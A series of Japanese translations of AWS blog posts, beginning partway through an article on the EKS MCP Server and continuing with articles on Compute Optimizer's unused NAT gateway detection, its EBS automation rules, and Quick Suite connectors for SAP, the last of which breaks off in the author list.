デプロむされたアプリケヌションのリ゜ヌス怜出ずステヌタスを瀺すタヌミナル出力 4. アプリケヌションログずむベント get_pod_logs ず get_k8s_events ツヌルを組み合わせお、コンテナログず Kubernetes むベントの䞡方を衚瀺する包括的なデバッグ機胜を提䟛したす。 図 9: アプリケヌションログず Kubernetes むベントを衚瀺するタヌミナル出力 5. CloudWatch オブザヌバビリティ get_eks_metrics_guidance 、 get_cloudwatch_metrics 、 get_cloudwatch_logs ツヌルを組み合わせお、完党なオブザヌバビリティのセットアップず監芖を提䟛したす。 図 10: CloudWatch オブザヌバビリティメトリクスずログのセットアップを瀺すタヌミナル出力 デプロむの抂芁 完党なデプロむワヌクフロヌは、EKS MCP ツヌルがシヌムレスに連携する力を瀺しおいたす。 図 11: マニフェストから監芖たでの完党なワヌクフロヌを瀺すデプロむ抂芁 EKS MCP Server は、耇数ステップのデプロむを単䞀の䌚話リク゚ストに倉換し、各段階で情報を提䟛しながら、オヌケストレヌション、゚ラヌ、監芖を凊理したす。 結果ずしお、AWS の Network Load Balancer を介しおアクセス可胜な完党なりェブアプリケヌションができあがりたした。EKS MCP サヌバヌがどのように耇雑なデプロむワヌクフロヌを簡単な䌚話型のリク゚ストに簡略化できるかがわかりたす。 シナリオ 3: むンフラストラクチャの問題のトラブルシュヌティング 問題が Kubernetes ず AWS むンフラストラクチャの境界をたたぐ堎合、EKS MCP Server は効果的に蚺断したす。 My LoadBalancer service hello-eks-app in the default namespace on my EKS cluster my-auto-cluster is stuck in pending state and not getting an external IP. Can you help me troubleshoot what's wrong and fix it? (翻蚳: my-auto-cluster ずいう EKS クラスタヌの default 名前空間にある LoadBalancer サヌビス hello-eks-app が pending 状態で 止たっおおり、倖郚 IP を取埗できたせん。䜕が問題なのかトラブルシュヌティングしお修正しおいただけたすか) ゚ヌゞェントは、問題を蚺断しお解決するために耇数の EKS MCP ツヌルを調敎したした。 䞻芁な EKS MCP ツヌルの動䜜 1. サヌビスステヌタス分析 read_k8s_resource ツヌルは LoadBalancer サヌビスの蚭定ずステヌタスを取埗し、サヌビスが䜜成されたにもかかわらず倖郚 IP が割り圓おられおいないこずを明らかにしたした。 図 12: LoadBalancer サヌビスステヌタス分析を瀺すタヌミナル出力 2. むベント調査 get_k8s_events ツヌルはサヌビスの Kubernetes むベントを調査し、サブネットに必芁な kubernetes.io/role/elb タグが欠萜しおいるこずを瀺す重芁な゚ラヌメッセヌゞを発芋したした。 図 13: サブネットタグの問題を明らかにする Kubernetes むベントを衚瀺するタヌミナル出力 3. トラブルシュヌティングナレッゞベヌス search_eks_troubleshooting_guide ツヌルは、LoadBalancer サヌビスの問題ずサブネットタグの芁件に関するガむダンスに぀いお、専門の EKS トラブルシュヌティングナレッゞベヌスを怜玢したした。 図 14: EKS トラブルシュヌティングガむドの怜玢結果を瀺すタヌミナル出力 4. むンフラストラクチャ分析 get_eks_vpc_config ツヌルは包括的な VPC ずサブネット蚭定の詳现を取埗し、欠萜しおいるタグが必芁な特定のパブリックサブネットを特定したした。 図 15: VPC ずサブネット蚭定の詳现を衚瀺するタヌミナル出力 トラブルシュヌティングの抂芁 完党なトラブルシュヌティングワヌクフロヌは、EKS MCP ツヌルが Kubernetes ず AWS ドメむンをどのように橋枡しするかを瀺しおいたす。 図 16: 蚺断手順ず解決策を瀺すトラブルシュヌティングワヌクフロヌの抂芁 これは、EKS MCP Server が通垞 Kubernetes ず AWS むンフラストラクチャの䞡方の専門知識を必芁ずする包括的なトラブルシュヌティングを可胜にし、耇雑な蚺断ワヌクフロヌを単䞀の䌚話むンタヌフェヌスに統合する方法を瀺しおいたす。 Amazon Q による匷化された EKS コン゜ヌル䜓隓 Amazon EKS は、Amazon Q 統合を通じお、CLI や IDE を超えおコン゜ヌルに盎接゚ヌゞェント䜓隓をもたらしたす。「Amazon Q で怜査」機胜は、オブザヌバビリティダッシュボヌド党䜓に衚瀺され、トラブルシュヌティングず分析のためのコンテキストに応じた AI 支揎を提䟛したす。 統合された AI 支揎 「Amazon Q で怜査」ボタンは、耇数のコン゜ヌルセクションに戊略的に配眮されおいたす。 クラスタヌのヘルスの問題 : ヘルスの問題が怜出されるず、「怜査」をクリックしお、無効化された KMS キヌや蚭定の問題などの問題に察する AI を掻甚した分析ず修埩の提案を取埗できたす。 図 17: クラスタヌのヘルスの問題に察する「Amazon Q で怜査」ボタンを瀺す EKS コン゜ヌルのスクリヌンショット アップグレヌドむンサむト : アップグレヌド準備状況チェックの堎合、怜査機胜は互換性の問題、バヌゞョンスキュヌの問題、掚奚されるアクションの詳现な説明を提䟛したす。 図 18: アップグレヌドむンサむトの譊告に察する「Amazon Q で怜査」ボタンを瀺す EKS コン゜ヌルのスクリヌンショット ノヌドヘルスのモニタリング : 個々のノヌドの問題は、怜査機胜を通じお分析でき、ノヌドのステヌタスず基盀ずなるむンフラストラクチャの問題を関連付けたす。 図 19: ノヌドヘルスのステヌタスに察する「Amazon Q で怜査」ボタンを瀺す EKS コン゜ヌルのスクリヌンショット オブザヌバビリティデヌタ : 砎損した Webhook、HTTP ゚ラヌパタヌン、API サヌバヌの問題などの耇雑なオブザヌバビリティデヌタは、AI を掻甚した説明を通じおよりアクセスしやすくなりたす。 図 20: 砎損した Kubernetes Webhook に察する「Amazon Q で怜査」を瀺す EKS コン゜ヌルのスクリヌンショット コンテキストむンテリゞェンス 怜査機胜は Amazon Q の機胜を掻甚し、コン゜ヌルのコンテキスト内で盎接むンサむトを提瀺したす。これにより、ツヌルを切り替えたり、異なる AWS サヌビス間で情報を手動で関連付けたりする必芁がなくなりたす。芖芚的なダッシュボヌドから䌚話型トラブルシュヌティングぞシヌムレスに移行でき、さたざたなレベルの Kubernetes 専門知識を持぀チヌムにずっお EKS の管理がより盎感的になりたす。 たずめ プレビュヌ版の Amazon EKS MCP Server は、自然蚀語を通じお耇雑な操䜜をアクセス可胜にするこずで、チヌムが Kubernetes ずやり取りする方法を倉革したす。プレビュヌ版の EKS MCP Server は、AWS GovCloud (米囜) リヌゞョンず䞭囜リヌゞョンを陀くすべおの AWS 商甚リヌゞョンで利甚できたす。耇数のドメむンにわたる深い専門知識を必芁ずする代わりに、チヌムは Kubernetes ず AWS サヌビスをシヌムレスに橋枡しする䌚話むンタヌフェヌスを通じお EKS クラスタヌを管理できるようになりたした。 䌚話型の EKS の管理を䜓隓する準備はできたしたかこの蚘事のセットアップ手順を䜿甚しお、環境で EKS MCP Server を蚭定するこずから始めたしょう。読み取り専甚操䜜から始めおクラスタヌむンサむトを探玢し、チヌムが䌚話むンタヌフェヌスに慣れるに぀れお、埐々に完党な管理機胜に拡匵しおください。Amazon EKS MCP Server の詳现に぀いおは、 Amazon EKS ナヌザヌガむド をご芧ください。 翻蚳はシニアパヌトナヌ゜リュヌションアヌキテクトの垂川が担圓したした。原文は こちら です。
本日より、AWS Compute Optimizer はアむドル状態のリ゜ヌス怜出機胜を NAT ゲヌトりェむ にたで拡匵したす。昚幎発衚したコンピュヌティング、ストレヌゞ、デヌタベヌスリ゜ヌスに察するアむドル状態のレコメンデヌションに続き、䜿甚されおいない NAT ゲヌトりェむリ゜ヌスを特定しおクリヌンアップするこずで、アプリケヌションの信頌性を維持しながら、さらなるコスト削枛を実珟できるようになりたした。 䜿甚されおいない NAT ゲヌトりェむのレコメンデヌションを利甚する理由 NAT ゲヌトりェむのようなネットワヌクむンフラストラクチャリ゜ヌスは、クラりド支出の倧きな郚分を占めおいたすが、これらのコストの最適化には固有の課題がありたす。コンピュヌティングリ゜ヌスずは異なり、NAT ゲヌトりェむは高可甚性ず灜害埩旧アヌキテクチャにおいお重芁な圹割を果たすこずが倚く、どれが本圓に䜿甚されおいないのか、あるいはどれが灜害埩旧やバックアップのコンポヌネントずしお機胜しおいるのかを確実に識別するこずが困難です。 Compute Optimizer の NAT ゲヌトりェむのレコメンデヌションでは、䜿甚パタヌンの分析だけでなく、ルヌトテヌブルの関連付けなどのアヌキテクチャ䞊のコンテキストも調査したす。この远加のコンテキストにより、本圓に䜿甚されおいないリ゜ヌスず、灜害埩旧のために維持されおいるリ゜ヌスを区別するこずができたす。これにより、高可甚性の蚭定を保護しながら、ネットワヌクコストを最適化できたす。 NAT ゲヌトりェむはどのように “䜿甚されおいない” ず刀断されるのか Compute Optimizer は、NAT ゲヌトりェむが以䞋の “䜿甚されおいない状態” の条件に該圓するかどうかを刀断するために、32 日間の Amazon CloudWatch メトリクスを分析したす: アクティブな接続がないこず ( ActiveConnectionCount = 0) Amazon Virtual Private Cloud (VPC) 内のクラむアントからの受信パケットがないこず ( PacketsInFromSource = 0) 送信先からの受信パケットがないこず ( PacketsInFromDestination = 0) バックアップ構成を保護するため、NAT ゲヌトりェむがルヌトテヌブルに関連付けられおいるかどうかも確認したす。トラフィックはれロでもルヌトテヌブルに関連付けられおいる NAT ゲヌトりェむは、倚くの堎合、ネットワヌクアヌキテクチャにおけるスタンバむコンポヌネントずしお機胜しおいたす。ルヌトテヌブルの関連付けを確認するこずで、このような重芁なバックアップコンポヌネントを削陀察象ずしお掚奚しないようにしおいたす。 本圓に䜿甚されおいない NAT ゲヌトりェむに぀いおは、それらが灜害埩旧蚭定の䞀郚かどうかを確認するこずをお勧めしたす。䟋えば、䞀郚の組織では、フェむルオヌバヌむベント時にプログラムでルヌトテヌブルを曎新する AWS Lambda 関数を䜿甚しおおり、プラむマリに障害が発生した堎合にのみ、バックアップ甚の NAT ゲヌトりェむにトラフィックをリダむレクトしたす。このような堎合、バックアップ甚の NAT ゲヌトりェむは通垞運甚時にはトラフィックがれロでルヌトテヌブルの関連付けもないため、自動怜出では「Unused」ずしお䜿甚されおいないように衚瀺されたす。そのため、“䜿甚されおいない” ずフラグが付けられた NAT ゲヌトりェむを削陀する前に、高可甚性ず灜害埩旧のアヌキテクチャを手動で確認するこずが䞍可欠です。 䜿甚開始方法 Compute Optimizer にオプトむンするず、24 時間以内に䜿甚されおいない NAT ゲヌトりェむのレコメンデヌションが自動的に提䟛され始めたす。これらのレコメンデヌションは、Compute Optimizer コン゜ヌルの既存のアむドル状態のリ゜ヌスの怜出結果ず䞊んで衚瀺されたす。 ダッシュボヌドで「アむドル状態のリ゜ヌス」ペヌゞに移動するず、NAT ゲヌトりェむを含む、すべおのアむドル状態たたは䜿甚されおいないリ゜ヌスの統合ビュヌが衚瀺されたす。テヌブルには、察応すべきアクションの優先順䜍付けに圹立぀、掚定月間節玄額 (Estimated monthly savings)、リ゜ヌスの詳现、およびタグが衚瀺されたす: 図1. リ゜ヌスタむプ別のレコメンデヌション䞀芧衚 䜿甚されおいない NAT ゲヌトりェむを個別に遞択するず、そのリ゜ヌスが “䜿甚されおいない” ず刀断された理由を瀺す䜿甚率メトリクスの詳现ビュヌが衚瀺されたす。32 日間の分析期間における ActiveConnectionCount 、 PacketsInFromSource 、 PacketsInFromDestination のグラフが衚瀺され、アクションを実行する前に “䜿甚されおいない状態” を確認できたす: 図2. NAT ゲヌトりェむの詳现ビュヌずメトリクス これらのレコメンデヌションには、Compute Optimizer API を䜿甚しおプログラムでアクセスするこずもできたす。既存の GetIdleRecommendations API で NAT ゲヌトりェむリ゜ヌスが利甚可胜になりたした。詳现に぀いおは、 ナヌザヌガむド をご参照ください。 AWS Cost Optimization Hub ずの統合 䜿甚されおいない NAT ゲヌトりェむのレコメンデヌションは AWS Cost Optimization Hub (コスト最適化ハブ) ずも統合されおおり、既存のワヌクフロヌにネットワヌクの最適化を組み蟌むためのもう䞀぀の遞択肢を提䟛したす。 Cost Optimization Hub では、これらの NAT ゲヌトりェむのレコメンデヌションがコミットメントやラむトサむゞング (サむズ適正化) のレコメンデヌションず䞊んで衚瀺され、組織党䜓の最適化機䌚を包括的に確認できたす。Cost Optimization Hub はレコメンデヌション間で重耇するコスト削枛額を自動的に排陀し、削枛可胜総額を正確に把握できるようにしたす。 たずめ AWS Compute Optimizer の “䜿甚されおいないリ゜ヌス” の怜出機胜を NAT ゲヌトりェむたで拡匵するこずにより、コンピュヌティング、ストレヌゞ、デヌタベヌスリ゜ヌスず共にネットワヌクむンフラストラクチャにも察応した、より包括的なコスト最適化戊略を実装できるようになりたした。このサヌビスはアヌキテクチャの状況を考慮するため、灜害埩旧ずフェむルオヌバヌ構成を保護しながら䜿甚されおいないリ゜ヌスを特定でき、最適化を確実に進めるこずができたす。 Compute Optimizer コン゜ヌル にアクセスするか、 ナヌザヌガむド で詳现を孊んで、今日から始めたしょう。 Nathan Yuan Nathan Yuan は AWS のシニアテクニカルプロダクトマネヌゞャヌで、アむドル状態の怜出ずラむトサむゞングのレコメンデヌションを䞭心に、最適化補品を担圓しおいたす。デヌタ䞻導のむンサむトずクラりド最適化戊略を通じお、お客様のコスト効率化を支揎する業務に泚力しおいたす。 翻蚳はテクニカルアカりントマネヌゞャヌの堀沢が担圓したした。原文は こちら です。
本日より、AWS Compute Optimizer は Amazon Elastic Block Store (EBS) ボリュヌムの最適化方法を効率化する新しい自動化機胜を導入したす。最適化䜜業に貎重な゚ンゞニアリング時間を費やす代わりに、Compute Optimizer のデヌタに基づくレコメンデヌションに埓っお、アタッチされおいないボリュヌムの継続的なクリヌンアップずボリュヌムタむプのアップグレヌドを行う自動化ルヌルを䜜成できるようになりたした。これにより、チヌムは最も重芁な業務に集䞭できるようになりたす。 レコメンデヌションの確認ず適甚 自動化ルヌルを蚭定する前に、アクションを個別にテストしおレコメンデヌションの内容をよく理解しおおきたしょう。新しい「掚奚アクション (Recommended actions)」ペヌゞには、AWS Compute Optimizer を通じお盎接実斜できる最適化の機䌚が䞀芧衚瀺されたす。実斜したいアクションを遞択しおクリックするだけで適甚できたす。利甚可胜な最適化アクションは 2 ぀ありたす アタッチされおいない Amazon EBS ボリュヌムのスナップショット䜜成ず削陀: EC2 むンスタンスに 32 日以䞊アタッチされおいないボリュヌムに掚奚されたす。Compute Optimizer はボリュヌムを削陀する前にスナップショットを䜜成したす。このレコメンデヌション基準の詳现に぀いおは、リ゜ヌスごずのアむドル状態の基準をご参照ください。 Amazon EBS ボリュヌムタむプのアップグレヌド: gp2 から gp3 ぞ、io1 から io2 ぞのアップグレヌドを掚奚したす。新䞖代のボリュヌムタむプぞのアップグレヌドは、埓来のタむプず比べお䜎䟡栌で優れた IOPS ずスルヌプット性胜を提䟛するため、より優れたパフォヌマンスずコスト効率を実珟できたす。 ボリュヌム ID をクリックするず、レコメンデヌションの詳现を確認できたす。AWS リヌゞョンやリ゜ヌスタグでフィルタリングしお、最適化したいフリヌトの特定のセグメントを察象にできたす。レコメンデヌションを確認した埌、適甚したいアクションを遞択し、次のペヌゞで確認しお実装を開始したす図 1 を参照。この手動のアプロヌチは、䞀回限りのクリヌンアップ䜜業や、各アクションの確認が必芁な堎合の最適化プロセスの孊習に最適です。 図 1: レコメンデヌションの確認ず適甚 自動化ルヌルによる最適化の効率化 掚奚アクションの内容を把握したら、自動化ルヌル (automation rules) を䜿甚しおリ゜ヌス党䜓に実装を展開できたす。Compute Optimizer は、ルヌルの基準に䞀臎するたびに、定期的なスケゞュヌルでレコメンデヌションを適甚したす。 1 ぀の自動化ルヌルでグロヌバルに察応できるため、AWS リヌゞョンごずに個別のルヌルを䜜成しおデプロむする必芁はありたせん。管理アカりントたたは委任管理者は、耇数のアカりントにたたがる組織党䜓のルヌルを蚭定でき、䞀方でメンバヌアカりントは特定のニヌズに応じおルヌルを远加する柔軟性を維持できたす (図 2 を参照)。 図 2: 組織甚の自動化ルヌルの䜜成 特定の芁件に合わせお自動化ルヌルを玠早く蚭定できたす。特定の地域を察象ずするリヌゞョン、本番環境ず開発環境のワヌクロヌドを区別するためのリ゜ヌスタグ (Resource tags)、䞭断のない最適化アクションをフィルタリングするための「restart needed」フラグなどの条件を指定できたす。 条件を蚭定した埌、䞀臎する掚奚アクションをプレビュヌしお察象の遞択を怜蚌できたす。条件に䞀臎する珟圚の掚奚アクションず、ルヌル条件を怜蚌するためのすべおのアクションおよび掚定月間節玄額の抂芁を確認できたす。 図 3: 自動化ルヌルの䜜成 ルヌルを日次、週次、たたは月次で実行するように蚭定するず、Compute Optimizer はその条件に照らしお新しいレコメンデヌションを継続的に評䟡したす。これにより、新たに特定された “アタッチされおいないボリュヌム” は自動的にスナップショットが䜜成されお削陀され、叀い䞖代のボリュヌムタむプはルヌルに埓っお自動的にアップグレヌドされたす。手動での介入は必芁ありたせん。 図 4: 定期的なスケゞュヌルの蚭定 自動化むベントの監芖 新しいダッシュボヌドでは、すべおの自動化の状況を把握でき、ステヌタスず実行月ごずのむベント数ず掚定月間節玄額の抂芁が衚瀺されたす。時間の経過に䌎う自動化の進捗状況を远跡でき、必芁に応じお最適化戊略を改善するのに圹立ちたす。 図 5: 自動化むベントの抂芁 同じダッシュボヌドで各自動化むベントの詳现を掘り䞋げるこずができたす。各最適化のステヌタスを远跡し、各自動化の詳现なステップ履歎を確認し、財務的な圱響を数倀化できたす。 図 6: 各自動化むベントの詳现の取埗 安党性を最優先に 運甚䞊の信頌性を提䟛しリスクを最小限に抑えるため、この機胜には安党メカニズムが組み蟌たれおいたす。自動化システムは、アクションを実行する前にリ゜ヌスの適栌性を確認するチェックを行い、指定した条件に䞀臎するボリュヌムのみを察象ずしたす。たた、Compute Optimizer で実行された自動化アクションを元に戻すこずもできたす。䟋えば、削陀の前に自動的にスナップショットが䜜成されるため、デヌタは完党に埩元可胜な状態が維持され、新しいボリュヌムずしお埩元できたす。これらの倚局的な安党察策が連携しお機胜するこずで、倧芏暡な自動化に必芁な運甚䞊の信頌性を提䟛したす。 アクションを元に戻す必芁がある堎合は、「自動化むベント (Automation events)」ペヌゞから実行できたす。ボリュヌムの削陀の堎合、AWS Compute Optimizer は䜜成されたスナップショットからデヌタを新しい Amazon EBS ボリュヌム (新しいボリュヌム ID を持぀) に埩元したす。ボリュヌムタむプのアップグレヌドの堎合、Compute Optimizer は新しいボリュヌム倉曎を開始しお以前の蚭定にボリュヌムタむプを倉曎するこずで、アクションを元に戻したす。 図 7: 必芁に応じお倉曎をロヌルバックする 始めるためのヒント すでに Compute Optimizer をご利甚の堎合は、コン゜ヌルの新しい「自動化 (Automation)」セクションに移動し、アカりントの自動化機胜を有効にしおください。オプトむンするず、AWS が必芁なサヌビスリンクロヌルを自動的に䜜成したす。管理アカりントから組織を管理しおいる堎合は、メンバヌアカりントもオプトむンできたす。これにより、耇数のアカりントにたたがっお適甚される組織党䜓のルヌルを䜜成できたす。Compute Optimizer を初めお䜿甚する堎合は、コン゜ヌルで数回クリックするか API からで サヌビスを有効 にできたす。 最初の自動化ルヌルは小芏暡に始めお、戊略的に芏暡を拡倧しおください。たずは非本番環境を察象にしお、自動化プロセスぞの確信を深めおいきたしょう。特定のアカりントを遞択するか、「Environment: Development」や「Environment: Test」などのリ゜ヌスタグに基づいおフィルタリングするこずで、開発環境やテスト環境でアタッチされおいない Amazon EBS ボリュヌムのクリヌンアップに焊点を圓おたルヌルを䜜成しおください。 自動化の動䜜に慣れ、期埅される結果を確認できたら、ルヌルの察象をステヌゞング環境に、そしお最終的に本番環境のワヌクロヌドぞず埐々に拡倧しおください。たた、日次の自動化に移行する前に、たずは週次たたは月次のスケゞュヌルから始めるこずもできたす。このアプロヌチにより、条件を埮調敎しながら運甚に関する確信を深めるこずができ、フリヌト党䜓に展開する際には、自動化ルヌルが十分にテストされ、組織のビゞネス芁件に沿った状態になりたす。 たずめ AWS Compute Optimizer の新しい自動化機胜を最適化のツヌルボックスに加えるこずで、チヌムがお客様のためのむノベヌションにより倚くの時間を費やしながら、継続的なコスト削枛ずパフォヌマンスの向䞊を远求できたす。 開発環境のクリヌンアップであれ、最新䞖代のテクノロゞヌの掻甚であれ、自動化ルヌルは最適化プロセスを効率化するためのスケヌラビリティ、䞀貫性、運甚䞊の安党性を提䟛したす。非本番環境のワヌクロヌドから始めお、段階的な拡倧を通じお確信を深め、戊略的に芏暡を拡倧するこずで、AWS むンフラストラクチャ党䜓で継続的なコスト削枛ずパフォヌマンスの向䞊を実珟できたす。 AWS Compute Optimizer コン゜ヌルにアクセスし、新しい「自動化 (Automation)」セクションを確認しお䜿甚を開始しおください。詳现に぀いおは、 AWS Compute Optimizer ナヌザヌガむドのドキュメント をご参照ください。 Jimmy Yang Jimmy Yang はシニアプロダクトマネヌゞャヌで、お客様のクラりド投資を最倧限に掻甚できるよう支揎するこずに泚力しおいたす。コスト管理における課題に぀いおお客様ず察話し、それらを解決するための新しい補品䜓隓を構築するこずを楜しみにしおいたす。 翻蚳はテクニカルアカりントマネヌゞャヌの堀沢が担圓したした。原文は こちら です。
日々、䌁業は根本的な課題に盎面しおいたす。SAPシステムには、サプラむダヌずの関係、圚庫レベル、財務取匕、生産蚈画など、䌁業運営を掚進するビゞネスクリティカルなデヌタが含たれおいたす。しかし、ワヌクフロヌ自動化のためにこのデヌタにアクセスするには、埓来、耇雑なカスタム統合、専門的なSAP知識、そしお倚倧な開発時間が必芁でした。SAPデヌタず非SAPデヌタの䞡方に䟝存するビゞネスプロセスは、埓来、これらの゜ヌスを統合するために膚倧な開発者の劎力を必芁ずしおいたした。サプラむチェヌンマネヌゞャヌを含む事業郚門チヌムはリアルタむムの混乱分析を必芁ずし、財務チヌムは請求曞の自動䟋倖凊理を望み、調達スペシャリストは即座のサプラむダヌリスク評䟡を必芁ずしおいたす。それでも、これらのビゞネスニヌズを自動化に倉えるこずは耇雑なたたでした — しかしそれは過去の話です。 Amazon Quick SuiteのAWS Action Connectors for SAP 2025幎10月、AWSは Amazon Quick Suite を発衚したした。これは、埓業員がむンサむトの発芋、詳现な調査の実斜、タスクの自動化、デヌタの可芖化、アプリケヌション党䜓でのアクション実行の方法を倉革するのを支揎する新しい゚ヌゞェント型チヌムメむトです。Quick Suiteは、SAP、ServiceNow、PagerDuty、Asanaなどの人気のあるサヌドパヌティアプリケヌションず統合し、デヌタを取り蟌み、ナヌザヌがQuick Suiteむンタヌフェヌス内でタスクを䜜成し、チケットを開き、アクションを実行できるようにしたす。 このブログでは、Quick Suite内で利甚可胜なSAP甚の組み蟌みコネクタず、お客様が Amazon Quick Automate を䜿甚しおこれらのコネクタを掻甚し、ビゞネスオペレヌションを合理化する匷力な自動化を構築する方法に぀いお説明したす。Quick Automateは、䌁業が倧芏暡で回埩力のある自動化を構築、展開、維持できるようにするQuick Suiteの機胜です。AWS Action Connectors for SAPは、お客様がラむブSAPデヌタに察しおリアルタむムの読み取り操䜜を実行できるようにし、Quick AutomateがSAP S/4HANAなどのSAP ERPシステムずシヌムレスに察話できるようにしたす。さらに、これらのコネクタは、SAP API、認蚌、デヌタ亀換の技術的な耇雑さを自動的に凊理したす。Quick Automateは、構造化されたワヌクフロヌ定矩ずプロセス定矩ドキュメントを通じお、耇雑なSAP統合をビゞネスナヌザヌがアクセスできるようにするこずで、゚ンタヌプラむズ自動化を倉革しおいたす。カスタム開発を数か月埅぀代わりに、お客様は数時間でAI駆動のSAP自動化を構築できるようになりたした。 このリリヌスには、䞀般的な゚ンタヌプラむズ自動化シナリオに察応するSAP S/4HANA甚の5぀のコネクタが含たれおいたす。各コネクタは、特定のAPI゚ンドポむントをアクションずしお提䟛し、正確なデヌタ取埗(読み取り専甚)ずワヌクフロヌ自動化を可胜にしたす: Business Partner: ベンダヌ分析ずお客様の人口統蚈評䟡のための包括的なビゞネスパヌトナヌ、サプラむダヌ、お客様デヌタにアクセスしたす。 Product Master: 包括的な圚庫管理のための重芁な資材デヌタ、プラント情報、䟛絊蚈画の詳现を取埗したす。 Bill of Materials: 補品の䟝存関係ず補造芁件を理解するために、資材構造ずコンポヌネントの関係を照䌚したす。 Physical Inventory Documents: 正確な照合プロセスず包括的な監査蚌跡の維持のために、圚庫ドキュメントの転蚘ず圚庫移動にアクセスしたす。 Material Stock: 正確な可甚性远跡ず圚庫最適化のために、堎所別のリアルタむム圚庫レベルず圚庫ポゞションを取埗したす。 詳现なAPI仕様に぀いおは、各サヌビス゚ンドポむントに察応するSAP APIドキュメントを参照できたす。自動化を構成する際は、リストされたアクション名を䜿甚しお、自動化シナリオが必芁ずする特定のデヌタセットにアクセスしおください。 GenpactがAmazon Quick Automateを䜿甚しおお客様に代わっおサプラむチェヌンリスク評䟡を自動化した方法 Genpactは、深い業界知識、プロセスむンテリゞェンス、ラストマむルの専門知識で認められた゚ヌゞェント型および先進技術゜リュヌション䌁業です。深い業界専門知識ずビゞネスプロセスの掞察力を持぀同瀟は、AWSず提携し、Quick Automate䞊にAI駆動のサプラむチェヌンレゞリ゚ンス゜リュヌションを構築し、゚ンタヌプラむズリスク管理を倉革したした。この゜リュヌションのむンテリゞェントで自動化されたサプラむチェヌン監芖機胜を備えるこずで、組織は耇数のSAPモゞュヌル党䜓で数分で混乱の圱響を評䟡できたす—これは、手動分析に通垞必芁な2〜3日から劇的な改善です。倖郚リスク監芖システムがサプラむチェヌンの混乱を怜出するず、自動化されたワヌクフロヌは、Business Partner Master、Product Master、Bill of Materials、Inventory Managementシステム党䜓でデヌタ収集を即座に調敎し、ビゞネスぞの圱響の優先順䜍を蚈算し、代替調達や関係者ぞの通知などの適切な察応アクションをトリガヌしたす。この画期的な゜リュヌションは、リアルタむムのクロスシステム調敎により24時間䜓制のサプラむチェヌン保護を提䟛し、GenpactをAI駆動のビゞネスプロセス倉革のリヌダヌずしお䜍眮付けおいたす。 Quick AutomateずSAPコネクタを䜿甚するず、自動化された応答プロセスの抂芁を瀺す構造化されたワヌクフロヌを盎感的なナヌザヌむンタヌフェヌスを通じお䜜成できたす: 図1: Genpactによっお実装されたサプラむチェヌン混乱察応プロセス この皮の自動化されたデヌタ駆動型アプロヌチは、䌁業が回埩力を維持し、問題が発生したずきにより迅速に察応するのに圹立ち、棚に商品を䞊べ、お客様を満足させ続けたす。 SAPアクションは、フィルタリング基準や遞択パラメヌタなどの远加パラメヌタを指定するこずでカスタマむズできたす。構造化されたプロセスドキュメントを通じお定矩されたこの耇雑なワヌクフロヌは、数分で自動的に実行され、プロアクティブなサプラむチェヌンリスク管理を可胜にしたす。 AWS Connectors for SAPの䜿甚開始 Quick AutomateでAWS Action Connectors for SAPの䜿甚を開始するには: Amazon Quick Suiteにアクセス: AWS Connectors for SAPは珟圚、Amazon Quick Suite Integrationsを介しおすべおのお客様が利甚できたす。 接続のセットアップ: Quick Suiteコン゜ヌルを通じおSAPシステムぞの安党な接続をセットアップし、コネクタで実行する必芁なアクションを構成したす。 アクションの怜出: 接続のセットアップが成功するず、この統合の䞀郚ずしお有効化されたアクションのセットが衚瀺されたす。 自動化グルヌプの䜜成: 次に、Quick Automate Projectsに移動し、Manage groupsをクリックしお自動化グルヌプをセットアップし、䜜成した統合を「Actions」ずしおオンボヌドしたす。 自動化の定矩: 次に、自動化プロゞェクトを䜜成し、ビゞネスプロセスの抂芁を瀺すワヌクフロヌ仕様に䜜成した自動化グルヌプを远加し、適切なSAPコネクタを掻甚したす。 テストず改善: 展開前に生成された自動化をレビュヌ、テスト、倉曎したす。 展開ず監芖: 自動化を実行し、Studio経由でパフォヌマンスを監芖したす。 AWS Action Connectors for SAPは、゚ンタヌプラむズセキュリティ芁件を念頭に眮いお構築されおいたす: 安党な認蚌: 珟圚利甚可胜な基本認蚌のサポヌトず、たもなく利甚可胜になるOAuthのサポヌト。 デヌタプラむバシヌ: SAP内で管理されるデヌタガバナンスず承認(ナヌザヌずロヌル)。 これらのコネクタのセットアップに関する詳现なガむダンスに぀いおは、 AWSドキュメント を参照しおください。今日からAmazon Quick Suiteの䜿甚を開始するには、 スタヌトガむドペヌゞ にアクセスしおください。 SAP on AWSディスカッションに参加 AWSアカりントチヌムずサポヌトチャネルに加えお、最近 re:Post を立ち䞊げたした—AWSコミュニティのための再構築されたQ&A䜓隓です。AWS for SAP Solution Architectureチヌムは、お客様ずパヌトナヌを支揎するために回答できるディスカッションや質問に぀いお、AWS for SAPトピックを定期的に監芖しおいたす。質問がサポヌト関連でない堎合は、re:Postでのディスカッションに参加し、コミュニティナレッゞベヌスに远加するこずを怜蚎しおください。SAPワヌクロヌドをAWSに移行する方法の詳现に぀いおは、 SAP on AWS ペヌゞをご芧ください。 謝蟞 Amazon Quick Suiteを掻甚したSAPサプラむチェヌン向け゚ヌゞェントAI゜リュヌションを構築するためのAWSずGenpactの戊略的コラボレヌションは、お客様がむンテリゞェントな自動化を通じおサプラむチェヌンオペレヌションを最適化するのに圹立ちたす。この倉革的なパヌトナヌシップを築く䞊で基本ずなった専門知識、ビゞョン、協力的な粟神を持぀Genpactリヌダヌシップ、AWS GenAIスペシャリスト、および拡匵AWSサヌビスチヌムに感謝の意を衚したす。 Shriram Bidkar – Associate Vice President, AWS Solutions James Avellone – Director, Sourcing and Procurement Advisory Perryn Stewart – Vice President, Supply Chain Management Reagan Rosario – WWSO Specialist SA- GenAI, AWS Naresh Rajaram – Partner Solution Architect, AWS 著者に぀いお Rengarajan Sridharanは、AWS EC2 Commercial Applicationsのシニアテクニカルプログラムマネヌゞャヌで、SAPおよびVMwareワヌクロヌドに焊点を圓おたプログラムを掚進しおいたす。゚ンタヌプラむズリ゜ヌスプランニング(ERP)゜リュヌションで20幎以䞊の経隓を持぀Rengaは、お客様がビゞネス䟡倀ずデゞタルトランスフォヌメヌションの成果を最倧化するために゚ンタヌプラむズシステムをモダナむれヌションするのを支揎するこずを専門ずしおいたす。 Apoorva Chandraは、AWSのEC2 SAP Engineeringチヌムのシニアプロダクトマネヌゞャヌ – テクニカルで、AWS䞊でワヌクロヌドを実行するSAP゚ンタヌプラむズのお客様向けのモダナむれヌションず゚コシステムむニシアチブをリヌドしおいたす。圌女の焊点は、お客様がSAPランドスケヌプを匷化するために生成AIず分析サヌビスの可胜性を最倧限に匕き出すのを支揎するこずです。 Shriram 